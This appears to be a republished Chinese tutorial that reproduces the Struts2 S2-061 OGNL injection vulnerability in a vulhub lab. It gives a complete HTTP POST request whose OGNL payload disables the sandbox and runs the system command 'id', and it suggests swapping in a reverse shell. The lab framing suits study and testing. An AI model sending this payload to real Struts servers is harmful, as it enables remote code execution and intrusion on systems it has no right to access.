Struts2漏洞(CVE 您所在的位置:网站首页 id空格代码 Struts2漏洞(CVE

Struts2漏洞(CVE

2023-05-28 19:03| 来源: 网络整理| 查看: 265

1、首先,想要很好的去理解这个漏洞,我们先要知道MVC是什么,从下图可以大概理解为MVC是一个方便代码员写一些复杂代码的组件

 2、Struts发布于2001年,于2007年发布2.0版本,在当时是java程序员的福音,不仅有更清晰的层次,还更加便于维护,在当时可以说是风靡全球,下图是这次漏洞的概况以及影响范围

下面我们用vulhub Docker快速搭建靶场,来演示一下利用的方式。

注:(kali快速安装vulhub教程,和docker加速教程)kali搭建vulhub漏洞靶场_kali vulhub靶场搭建_小黑安全的博客-CSDN博客

Kali中搭建vulhub时镜像git失败_李白你好的博客-CSDN博客

先在kali中打开s2 -061靶场

 在url中输入kali的ip加端口号进入靶场,先查看靶场端口

可以通过id进行传参,这里传入id=2

现在我们传入id=%25{6*6},再右键查看源代码,会发现有6*6的结果36,这是用到了OGNL表达式的结果(注:%25是url编码,编码之后是%)

 

我们了解到这个OGNL表达式之后,就可以开始用恶意的OGNL发送post请求来验证漏洞了

 下面是恶意的OGNL表达式代码,用burpsuite来发送post请求到靶场的ip(也就是启动靶场的kali的ip地址)

POST /index.action HTTP/1.1 Host:192.168.101.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 1099

------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id"

%{ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'})) } ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

下面我们来看看是否能成功,可以看到,复现成功,可以看到出来了id(exec({'id'})))

现在我们了解这个这个漏洞的利用方式,接下来就可以自行更改exec函数里面的值,来进行对靶场的攻击,例如执行反弹shell

 下面是对本次漏洞的总结概述

 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有